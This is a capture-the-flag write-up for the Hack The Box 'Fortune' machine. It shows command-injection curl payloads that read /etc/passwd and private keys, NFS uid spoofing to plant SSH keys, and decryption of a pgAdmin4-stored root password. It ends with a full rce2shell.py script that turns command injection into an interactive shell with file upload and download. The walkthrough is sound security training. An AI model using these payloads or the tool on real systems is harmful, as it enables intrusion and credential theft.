Fortune write-up

Ανάλυση του Fortune

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox bsd bsd

Enumeration

Port scanning

Let’s scan the full range of TCP and UDP ports using my tool htbscan.py

$ sudo htbscan.py 10.10.10.127

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.127

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-12 09:10:57 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.127
Discovered open port 22/tcp on 10.10.10.127
Discovered open port 443/tcp on 10.10.10.127

Running command: sudo nmap -A -p22,80,443 10.10.10.127

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-12 11:20 EET
Nmap scan report for 10.10.10.127
Host is up (0.059s latency).

PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.0 (95%), OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (94%), OpenBSD 5.0 (94%), OpenBSD 5.0 - 5.8 (94%), OpenBSD 4.9 (93%), OpenBSD 4.6 (93%), FreeBSD 10.0-CURRENT (93%), OpenBSD 4.7 (92%), OpenBSD 6.0 (92%)
No exact OS matches for host (test conditions non-ideal).

Port 80

Let’s brute-force directories and files on port 80 using gobuster:

$ gobuster -u http://10.10.10.127 -w /opt/DirBuster/directory-list-2.3-medium.txt -t 50

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.127/
[+] Threads      : 50
[+] Wordlist     : /opt/DirBuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/03/12 11:34:11 Starting gobuster
=====================================================
/fortune (Status: 301)
/select (Method not allowed)

Port 443

When we try to connect to port 443 (https), the browser ask us for a client certificate. We can run a sslyze scan to verify it and get more info:

$ sslyze --regular 10.10.10.127

...
 CHECKING HOST(S) AVAILABILITY
 -----------------------------
   10.10.10.127:443                       => 10.10.10.127   WARNING: Server REQUIRED client authentication, specific plugins will fail.


 SCAN RESULTS FOR 10.10.10.127:443 - 10.10.10.127
 ------------------------------------------------

 * Downgrade Attacks:
       TLS_FALLBACK_SCSV:                 OK - Supported
 * Deflate Compression:
                                          OK - Compression disabled
 * OpenSSL CCS Injection:
                                          OK - Not vulnerable to OpenSSL CCS injection

 * Certificate Information:
     Content
       SHA1 Fingerprint:                  f5528e05f76ef7013a6ce1b9888e60aa36c4e4a6
       Common Name:                       fortune.htb
       Issuer:                            Fortune Intermediate CA
       Serial Number:                     4096
       Not Before:                        2018-10-30 01:13:42
       Not After:                         2019-11-09 01:13:42
       Signature Algorithm:               sha256
       Public Key Algorithm:              RSA
       Key Size:                          2048
       Exponent:                          65537 (0x10001)
       DNS Subject Alternative Names:     []
...

Exploitation

Gaining RCE due to command Injection

If we visit http://10.10.10.127/, we see a form:

<form action="/select" method="POST">
  <input type="radio" name="db" value="fortunes"> fortunes<br>
  <input type="radio" name="db" value="fortunes2"> fortunes2<br>
  <input type="radio" name="db" value="recipes"> recipes<br>
  <input type="radio" name="db" value="startrek"> startrek<br>
  <input type="radio" name="db" value="zippy"> zippy<br>
<br>
<input type="submit" value="Submit">
</form>

The parameter ‘db’ is vulnerable to command injection:

$ curl -X POST http://10.10.10.127/select --data 'db=whatever|id'

<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>

uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)


</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>

Thus, we have gained Remote Command Execution to this machine.

Here is the relevant backend code (fortuned.py) for reference:

from flask import Flask, request, render_template, abort
import os

app = Flask(__name__)

@app.route('/select', methods=['POST'])
def fortuned():

    cmd = '/usr/games/fortune '
    dbs = ['fortunes', 'fortunes2', 'recipes', 'startrek', 'zippy']
    selection = request.form['db']
    shell_cmd = cmd + selection
    result = os.popen(shell_cmd).read()
    return render_template('display.html', output=result)

Acquiring a client certificate

If we search a little the home folders, we find some private keys:

$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatever|ls -al /home/bob/ca/intermediate/private/'
...
total 20
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem
...

Well, we don’t have permissions to read fortune.htb.key.pem, but we can read intermediate.key.pem:

$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatevat|cat /home/bob/ca/intermediate/private/intermediate.key.pem' | grep -zo '\-\-.*\-\-' > intermediate.key.pem

Inside /home/bob/ca/intermediate/certs/ there is the respective certificate:

$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatever|cat /home/bob/ca/intermediate/certs/intermediate.cert.pem' | grep -zo '\-\-.*\-\-' > intermediate.cert.pem

We can combine the certificate and private key to a pkcs#12 file which we can import to our browser:

$ openssl pkcs12 -inkey intermediate.key.pem -in intermediate.cert.pem -export -out client.p12
Enter Export Password: pass
Verifying - Enter Export Password: pass

Now, let’s import client.p12 to your browser and visit https://10.10.10.147 (When we are being asked for it, we choose our recently imported client certificate. We also have to add an exception for the self-signed certificate of the website server). If we want to use curl the following command is sufficient:

$ curl --insecure --key intermediate.key.pem --cert intermediate.cert.pem https://10.10.10.127
<!DOCTYPE html>
<html>
<head>
<title>Elevated network access</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<p>
You will need to use the local authpf service to obtain
elevated network access. If you do not already have the appropriate
SSH key pair, then you will need to <a href='/generate'>generate</a>
one and configure your local system appropriately to proceed.
</p>
</body>
</html>

SSH authentication to authpf

It works! If we visit https://10.10.10.127/generate we see that:

AuthPF SSH Access
The following public key has been added to the database of authorized keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5mx7yvTtW2FYsO+zwdqePx+44nyc+PnzD/4u+vS3nEIyQMUqeKKIFBMLNiKLnMfCUb4KZWm9r4qG45NWSITDF7t70z1co4ZrDz5wyLhQxZiZ2ZK9AzIzFECfYTFCMiLO7WAWS2fyK/KiYftFo6BNySgI/+tRuzZmaqbNqkjwF7o1ppaHUS415stjzNm+ohhMtVY5gDxsJen/aYzyPYH/ac4LOHNWqnxE1m21qyITGOQlCOjOP4wVfHbaT7mTBUSPDuHnA68WdAV0hwIKNOSFz/KiMA9yqbA7Tswpv2njS9FTta+yfeIcDdNcio5OVr5FrEpiljL88LIwXz1uoC5yL
The corresponding private key is as follows:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuZse8r07VthWLDvs8Hanj8fuOJ8nPj58w/+Lvr0t5xCMkDFK
...
BbDVIRZzFu/b5uxjITX6yCIu5Ylb6cnpqQ+sqwYbYQm1HJ6PRhwj
-----END RSA PRIVATE KEY-----

Please save the above key pair to your local system with appropriate file permissions and use your OpenSSH client with the -i option to obtain elevated network access to the server.

Please note: If the IP address of your local system changes, then you may need to generate a new key pair.

We can copy this private key and paste it into a file, but -as you have noticed- I prefer doing things a bit differently (^_^):

$ curl --silent --insecure --key intermediate.key.pem --cert intermediate.cert.pem https://10.10.10.127/generate | grep -zo '\-\-.*\-\-' > fortune_id_rsa

Don’t forget to set the required strict permissions:

chmod 600 fortune_id_rsa

But for whom user is this key? Let’s examine /etc/passwd

$ curl -X POST http://10.10.10.127/select --data 'db=whatever|cat /etc/passwd'

root:*:0:0:Charlie &amp;:/root:/bin/ksh
...
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf

We notice that one user has been set for authpf as his user shell. Let’s see what happens if we try to connect using this nfsuser user and the private key we acquired:

$ ssh -i fortune_id_rsa nfsuser@10.10.10.127

Hello nfsuser. You are authenticated from host "10.10.12.134"

OK. We have been authenticated but we cannot execute any command… What exactly is authpf?

The authpf utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through. When a user’s shell is set to /usr/sbin/authpf and they log in using SSH, authpf will make the necessary changes to the active pf ruleset so that the user’s traffic is passed through the filter and/or translated using NAT/redirection. Once the user logs out or their session is disconnected, authpf will remove any rules loaded for the user and kill any stateful connections the user has open. Because of this, the ability of the user to pass traffic through the gateway only exists while the user keeps their SSH session open.

Hmmm… Interesting…

2nd Enumeration (having ntfuser authenticated to authpf via ssh)

Let’s try to enumerate the ports/services again. This time while we are authenticated to authpf as ntfuser via ssh (make sure you have/keep that ssh session open):

$ sudo htbscan.py 10.10.10.127

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.127

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-15 21:00:54 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 111/tcp on 10.10.10.127
Discovered open port 817/tcp on 10.10.10.127
Discovered open port 2049/tcp on 10.10.10.127
Discovered open port 8081/tcp on 10.10.10.127
Discovered open port 80/tcp on 10.10.10.127
Discovered open port 443/tcp on 10.10.10.127
Discovered open port 22/tcp on 10.10.10.127

Running command: sudo nmap -A -p22,80,111,443,817,2049,8081 10.10.10.127

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-15 23:04 EET
Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.067s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp   open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          817/tcp  mountd
|_  100005  1,3          889/udp  mountd
443/tcp  open  ssl/https?
|_ssl-date: TLS randomness does not represent time
817/tcp  open  mountd     1-3 (RPC #100005)
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (95%), OpenBSD 5.0 - 5.8 (95%), FreeBSD 10.0-CURRENT (94%), OpenBSD 4.0 (94%), OpenBSD 5.0 (93%), OpenBSD 4.1 (93%), OpenBSD 4.6 (93%), OpenBSD 4.7 (93%), OpenBSD 6.0 (93%)

Wow! Now, we have access to more ports! We notice an nfs service:

$ showmount -e 10.10.10.127

Export list for 10.10.10.127:
/home (everyone)

Spoofing uid/gid using nfsshell

Neat, we have access to an nfs mount! We can use nfsshell to spoof our uid/gid:

$ sudo nfsshell
nfs> host 10.10.10.127
Using a privileged port (1023)
Open 10.10.10.127 (10.10.10.127) TCP
nfs> export
Export list for 10.10.10.127:
/home   everyone
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> ls
.
..
.Xdefaults
.cshrc
.cvsrc
.login
.mailrc
.profile
.ssh
mbox
user.txt
nfs> get user.txt
nfs> get mbox
nfs> quit
Unmount '/home'
Close '10.10.10.127'

$ cat user.txt
ad****************************40

Alternatively, If you have a user with uid=1000, you can simply mount the nfs share and read charlie’s files:

$ mkdir mnt_point
$ sudo mount -t nfs 10.10.10.127:/home mnt_point -o nolock
$ cat mnt_point/charlie/user.txt
ad****************************40

Getting charlie shell

Of course we can add our public key to charlie’s authorized_keys:

$ cat ~/.ssh/id_rsa.pub >> mnt_point/charlie/.ssh/authorized_keys

Or we can use nfsshell for this as we did before:

$ sudo nfsshell
nfs> host 10.10.10.127
Using a privileged port (1023)
Open 10.10.10.127 (10.10.10.127) TCP
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> cd .ssh
nfs> put id_rsa.pub authorized_keys
WARNING: Create failed: File exists
nfs> quit
Unmount '/home'
Close '10.10.10.127'

Now, we can connect via SSH using public key authenticaion:

$ ssh -i ~/.ssh/id_rsa2 charlie@10.10.10.127
Last login: Sat Aug  3 04:36:55 2019 from 10.10.12.158
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$

Privilege escalation

Let’s examine what there is inside ‘mbox’ file:

$ cat mbox

From bob@fortune.htb Sat Nov  3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
	by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
	for <charlie@fortune.htb>;
	Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From:  <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

Password reuse… Let’s search /var/appsrv/pgadmin4/pgadmin4.db:

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep bob
bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep charlie
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep dba
postgresdbautUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGzprefer<STORAGE_DIR>/.postgresql/postgresql.crt<STORAGE_DIR>/.postgresql/postgresql.key22

Luckily for us, pgadmin4 is open source. Let’s grab this script:

https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

All we need to do is to add one line in the end:

##########################################################################
#
# pgAdmin 4 - PostgreSQL Tools
#
# Copyright (C) 2013 - 2019, The pgAdmin Development Team
# This software is released under the PostgreSQL Licence
#
#########################################################################

"""This File Provides Cryptography."""

from __future__ import division

import base64
import hashlib
import os

import six

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8


def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.

    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()


def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)


print(decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz", "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg"))

That is we use the ‘decrypt’ function to decrypt dba’s password which was encrypted using Bob’s AES encyption key. PBKDF2 (Password-Based Key Derivation Function 2) is a key derivation function with a sliding computational cost (to reduce susceptibility to brute force attacks). We run the script and we get the password for root:

$ python crypto.py 
b'R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!'

fortune$ su root
Password: R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
fortune# cat /root/root.txt
33****************************f8

Bonus script: rce2shell.py

Sometimes, we have some kind of Remote Command Execution but we cannot gain a full working shell (due to firewalls et.c). I wrote this script for such cases. It tries to emulate a shell experience. Moreover, it offers download/upload capabilities using a variety of OS tools. Note, though, that this is still work in progress. In the future, I would like to make it quite broad in the sense of OSes/tools and RCEs it supports. But I don’t know if I ever find the time to do that.

Anyway, for the time being, you can try it on the Fortune box.

#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Status: WIP (Work In Progress)
#
# Define a variable rce like this:
# rce = {"method":"POST",
#        "url":"http://10.10.10.127/select",
#        "data":"db=fortunes2%7C__RCE__%20%23",
#        "remote_os":"unix",
#        "timeout":30}
#
# Use __RCE__ to mark the command injection point.
#
# To upload a file type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt /tmp/myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
#
# To download a file: DOWNLOAD remote_path
# e.g. $ DOWNLOAD /temp/myfile.txt


import os
import re
import sys
import uuid
import copy
import tqdm
import shlex
import base64
import hashlib
import requests
try:
    # Python 2.X
    from urllib import quote
    input = raw_input
except ImportError:
    from urllib.parse import quote  # Python 3+


DEBUG = False
BUFFER_SIZE = 5000
# Redirect stderr to stdout?
ERR2OUT = True
# A unique sequence of characters that marks start/end of output.
UNIQUE_SEQ = uuid.uuid4().hex[0:6]
UNIX_TOOLS = {"b64enc": {"base64":"base64",
                         "openssl":"openssl base64 -A"},
              "b64dec": {"base64":"base64 -d",
                         "openssl":"openssl base64 -A -d",
                         "python":"python -m base64 -d"},
              "md5sum": {"md5sum":"md5sum",
                         "md5":"md5 -q"}}


def memoize(function):
  memo = {}
  def wrapper(*args):
    if args in memo:
      return memo[args]
    else:
      rv = function(*args)
      memo[args] = rv
      return rv
  return wrapper


def send_command(command, rce, enclose=False):
    try:
        client = requests.session()
        client.verify = False
        client.keep_alive = False
        if enclose:
            cmd = "echo " + UNIQUE_SEQ + ";" + command + ";echo " + UNIQUE_SEQ
        else:
            cmd = command
        if DEBUG: print(cmd)
        if rce["method"] == "GET":
            response = client.get(url, timeout=rce["timeout"])
        elif rce["method"] == "POST":
            data = rce["data"].replace("__RCE__", quote(cmd))
            headers = {"Content-Type":"application/x-www-form-urlencoded"}
            response = client.post(rce["url"], data=data,
                                   headers=headers,
                                   timeout=rce["timeout"])
        if response.status_code != 200:
            print("Status: "+str(response.status_code))
        if DEBUG: print(response.text)
        if enclose:
            return response.text.split(UNIQUE_SEQ)[1]
        else:
            return response
    except requests.exceptions.RequestException as e:
        print(str(e))
    finally:
        if client:
            client.close()


@memoize
def find_tool(tool_type):
    for tool_name in sorted(UNIX_TOOLS[tool_type].keys()):
        cmd = "which " + tool_name + " && echo FOUND || echo FAILED"
        response = send_command(cmd, rce)
        if "FOUND" in response.text:
            return UNIX_TOOLS[tool_type][tool_name]
    return None


def download(rce, remote_path):
    cmd = find_tool("md5sum") + " '" + remote_path + "'"
    response = send_command(cmd, rce, enclose=True)
    remote_md5sum = response.strip()[:32]
    cmd = "cat '" + remote_path + "' | " + find_tool("b64enc")
    b64content = send_command(cmd, rce, enclose=True)
    content = base64.b64decode(b64content)
    local_md5sum = hashlib.md5(content).hexdigest()
    print("Remote md5sum: " + remote_md5sum)
    print(" Local md5sum: " + local_md5sum)
    if  local_md5sum == remote_md5sum:
        print("               MD5 hashes match!")
    else:
        print("               ERROR! MD5 hashes do NOT match!")
    with open(os.path.basename(remote_path), "wb") as f:
        f.write(content)


def upload(rce, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    if rce["remote_os"] == "unix":
        cmd = "> '" + remote_path + ".b64'"
    elif rce["remote_os"] == "windows":
        cmd = 'type nul > "' + remote_path + '.b64"'
    send_command(cmd, rce)

    with open(local_path, 'rb') as f:
        data = f.read()
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = base64.b64encode(data).decode('ascii')
   
    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> "' + remote_path + '.b64"'
        send_command(cmd, rce)
    #print("Remaining: "+str(len(b64enc_data)-i))
    
    if rce["remote_os"] == "unix":
        cmd = "cat '" + remote_path + ".b64' | " + find_tool("b64dec") + " > '" + remote_path + "'"
        send_command(cmd, rce)
        cmd = find_tool("md5sum") + " '" + remote_path + "'"
        response = send_command(cmd, rce)
    elif rce["remote_os"] == "windows":
        cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
        send_command(cmd, rce)
        cmd = 'certutil -hashfile "' + remote_path + '" MD5'
        response = send_command(cmd, rce)
    if md5sum in response.text:
        print("               MD5 hashes match: " + md5sum)
    else:
        print("               ERROR! MD5 hashes do NOT match!")


def shell(rce):
    global DEBUG
    stored_cwd = None
    user_input = None
    if rce["remote_os"] == "unix":
        get_info = "whoami;hostname;pwd"
    elif rce["remote_os"] == "windows":
        get_info = 'echo %username%^|%COMPUTERNAME% & cd'
    while True:
        cmd = ""
        if stored_cwd:
            cmd += "cd " + stored_cwd + ";"
        if user_input:
            cmd += user_input
            cmd += " 2>&1;" if ERR2OUT else ";"
        cmd += get_info
        response = send_command(cmd, rce, enclose=True)
        lines = response.splitlines()
        user, host, cwd = lines[-3:]
        stored_cwd = cwd
        for output in lines[1:-3]:
            print(output)
        user_input = input("[" + user + "@" + host + " " + cwd + "]$ ").rstrip("\n")
        if user_input.lower().strip() == "exit":
            return
        elif user_input[:8] == "DEBUG ON":
            DEBUG = True
            user_input = "echo 'DEBUG is now ON'"
        elif user_input[:9] == "DEBUG OFF":
            DEBUG = False
            user_input = "echo 'DEBUG is now OFF'"
        elif user_input[:8] == "DOWNLOAD":
            remote_path = shlex.split(user_input, posix=False)[1]
            if remote_path[0] != '/':
                remote_path = stored_cwd + "/" + remote_path
            download(rce, remote_path)
            user_input = "echo '               *****  DOWNLOAD FINISHED  *****'"
        elif user_input[:6] == "UPLOAD":
            upload_cmd = shlex.split(user_input, posix=False)
            local_path = upload_cmd[1]
            if len(upload_cmd) < 3:
                remote_path = stored_cwd + "/" + os.path.basename(local_path)
                upload(rce, local_path, remote_path)
            else:
                remote_path = upload_cmd[2]
                if remote_path[0] != '/':
                    remote_path = stored_cwd + "/" + remote_path
                upload(rce, local_path, remote_path)
            user_input = "echo '               *****  UPLOAD FINISHED  *****'"


rce = {"method":"POST",
       "url":"http://10.10.10.127/select",
       "data":"db=fortunes2%7C__RCE__%20%23",
       "remote_os":"unix",
       "timeout":30}

shell(rce=rce)
sys.exit()


'''
EXAMPLE:
$ python rce2shell.py 
[_fortune@fortune.htb /var/appsrv/fortune]$ ls -al
total 104
drwxr-xr-x  4 _fortune  _fortune    512 Feb  3 05:08 .
drwxr-xr-x  5 root      wheel       512 Nov  2  2018 ..
drwxrwxrwx  2 _fortune  _fortune    512 Nov  2  2018 __pycache__
-rw-r--r--  1 root      _fortune    341 Nov  2  2018 fortuned.ini
-rw-r-----  1 _fortune  _fortune  35638 Aug  3 06:00 fortuned.log
-rw-rw-rw-  1 _fortune  _fortune      6 Aug  3 03:13 fortuned.pid
-rw-r--r--  1 root      _fortune    413 Nov  2  2018 fortuned.py
drwxr-xr-x  2 root      _fortune    512 Nov  2  2018 templates
-rw-r--r--  1 root      _fortune     67 Nov  2  2018 wsgi.py
'''

See also...

Δείτε επίσης...